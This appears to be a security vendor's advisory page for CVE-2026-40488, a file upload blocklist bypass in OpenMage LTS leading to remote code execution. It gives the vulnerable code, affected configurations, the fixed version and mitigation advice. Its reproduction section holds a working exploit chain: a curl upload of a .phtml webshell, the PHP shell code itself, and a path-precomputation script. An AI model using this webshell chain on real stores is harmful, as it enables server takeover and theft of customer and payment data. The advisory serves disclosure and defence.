CVE-2026-40488 — openmage/magento-lts
CVE-2026-40488 is a Unrestricted File Upload vulnerability in openmage/magento-lts. A fix is available for openmage/magento-lts — see the affected versions and patch details below.
OpenMage LTS has Customer File Upload Extension Blocklist Bypass that Leads to Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40488.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
openmage/magento-ltsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
Affected Version
- Project: OpenMage/magento-lts
- Vulnerable File:
https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php - Vulnerable Lines: 230-237 (
_validateUploadedFile()) - Configuration:
app/code/core/Mage/Catalog/etc/config.xml:824
Root Cause
The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
This misses the comprehensive protected_extensions blocklist defined elsewhere:
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi,
htm, html, pht, phtml, shtml
Vulnerable Code
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
$upload->addValidator('Extension', false, $_allowed);
} else {
$_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
if ($_forbidden !== null) {
$upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!
}
}
Steps to Reproduce
1. Environment Setup
Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)
2. Exploitation
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
-F "[email protected];filename=shell.phtml"
Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
3. Code Execution
OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:
Subdirectory — getDispretionPath($filename) takes the first two characters of the
uploaded filename and uses them as nested directory names:
filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/
Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the
uploaded payload (File.php:245):
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath = $dispersion . DS . $fileHash . '.' . $extension;
Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
Result: RCE Confirmed
<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />Affected Deployments
| Configuration | Status |
|---|---|
Apache + mod_php (with php_flag engine 0) | SAFE |
| Apache + PHP-FPM | VULNERABLE |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | VULNERABLE |
Impact
- Remote Code Execution: Full server compromise through webshell upload
- Data Exfiltration: Access to database credentials, customer PII, payment data
- Lateral Movement: Pivot to internal infrastructure
- Supply Chain: Inject malicious code into served content
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | openmage/magento-lts | all versions | 20.17.0composer require openmage/magento-lts:^20.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openmage/magento-lts, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update openmage/magento-lts to 20.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40488 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40488 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40488. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40488 in your dependencies?
O3 Security finds CVE-2026-40488 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.